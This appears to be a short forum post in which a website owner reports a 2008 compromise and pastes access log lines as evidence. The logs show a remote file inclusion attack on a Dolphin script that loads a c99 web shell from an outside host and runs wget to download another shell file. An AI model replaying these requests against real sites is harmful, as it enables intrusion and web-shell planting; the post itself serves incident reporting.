strange because i checked a hack site too and the logs show the install of the viruses and Trojans and they all came from the following ip's some where logged on at the same time, 2-3-4-5 of them at the same time.
125.164.213.29 - - [09/Jul/2008:20:54:01 -0500] "GET //ray/modules/global/inc/content.inc.php?act=cmd&d=%2Fhsphere%2Flocal%2Fhome%2Frprinc%2FDOLPHIN_SITE.com%2Fray%2Fmodules%2Fglobal%2Finc%2F&cmd=wget+http%3A%2F%2Fh1.ripway.com%2Fsava%2Fshell%2Fbikang.txt&cmd_txt=1&submit=Execute see more HTTP/1.1" 200 5 "http://www.DOLPHIN_SITE.com//ray/modules/global/inc/content.inc.php?sIncPath=http://xakforum.*****.ru/tmp_upload/files/c99shell.txt?"
125.164.213.29 - - [09/Jul/2008:20:54:01 -0500] "GET //ray/modules/global/inc/content.inc.php?act=cmd&d=%2Fhsphere%2Flocal%2Fhome%2Frprinc%2FDOLPHIN_SITE.com%2Fray%2Fmodules%2Fglobal%2Finc%2F&cmd=wget+http%3A%2F%2Fh1.ripway.com%2Fsava%2Fshell%2Fbikang.txt&cmd_txt=1&submit=Execute see more